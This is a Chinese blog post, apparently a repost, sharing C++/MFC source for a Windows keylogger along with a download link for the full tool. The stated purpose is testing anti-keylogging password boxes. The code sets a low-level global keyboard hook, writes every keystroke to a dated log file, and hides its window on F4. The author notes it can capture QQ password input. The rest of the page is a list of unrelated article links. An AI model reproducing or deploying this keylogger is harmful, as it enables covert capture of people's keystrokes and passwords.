发一个键盘监听工具的代码
来源:互联网 发布:金十数据点评 编辑:程序博客网 时间:2024/04/29 02:52
最近在研究反监听密码框的开发。 做这个东西是为了测试密码框的效果。 用的是WH_KEYBOARD_LL钩子。 我暂时还没找到防止底层键盘全局钩子的方法。QQ的密码可以用这种方法监听到,但是不是明文。
开发工具是VS2008
钩子回调函数中的代码:
LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
WPARAM wParam,
LPARAM lParam
)
{
PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
if (nCode<0)
{
return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
}
if (HC_ACTION==nCode)
{
if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
{
if (VK_F4==kbhs->vkCode)
{
//先判断窗口是show or hide
m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
if (IsWindowVisible(m_hWnd2))
{
ShowWindow(m_hWnd2,SW_HIDE);
return 0;
}
else
{
if (NULL==m_hWnd2)
{
AfxMessageBox(L"查找失败!");
return 0;
}
ShowWindow(m_hWnd2,SW_RESTORE);
//UpdateWindow(m_hWnd);
BringWindowToTop(m_hWnd);
SetForegroundWindow(m_hWnd);
return 1;
}
}
char c[1];
c[0]=kbhs->vkCode;
SaveLog(c);
}
}
return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
}
字符保存的代码:
void SaveLog(char* c)
{
//AfxMessageBox(L"进入存储程序");
CTime tm=CTime::GetCurrentTime();
CString name;
TCHAR* szPath[MAX_PATH];
::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
CString path=(LPTSTR)szPath;
path.Replace(L"//LogerDll.dll",L"");
name.Format(L"//Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
path+=name;
CFile file;
if(!file.Open(path,CFile::modeReadWrite))
{
file.Open(path,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
下载地址:http://www.cppblog.com/Files/pencil/KeyboardLoger.rar
- 发一个键盘监听工具的代码
- 一个键盘监听的例子
- 别再问我怎么实现键盘的监听了,键盘监听代码大全
- Android 打开关闭键盘以及监听的工具类
- js监听键盘事件代码
- 键盘事件监听演示代码
- 一个监听home键锁屏键的工具类
- 发一个mir2的内挂代码
- 发一个mir2的内挂代码
- 发一个mir2的内挂代码
- 【原创】发一个主动防御的代码
- Android 关于监听键盘状态的一个偏方
- 键盘的监听
- 键盘的监听
- 键盘监听的使用
- 监听键盘的事件
- textField的键盘监听
- JS键盘监听事件的键盘码
- vc6.0快捷键大全- -
- 应聘测试工程师之前需要掌握的一些知识
- 解决包依赖关系
- Linux下配置Apache,Subversion和Trac
- Integrating Jersey and Spring
- 发一个键盘监听工具的代码
- 又是一道循环!
- linux svn常用命令
- wincvs 配置
- FreeMarker概述
- 从 Google 代码库找到的好东西
- 1633 Fibonacci 【改进】
- JQuery常用小知识
- Oracle数据库的导入导出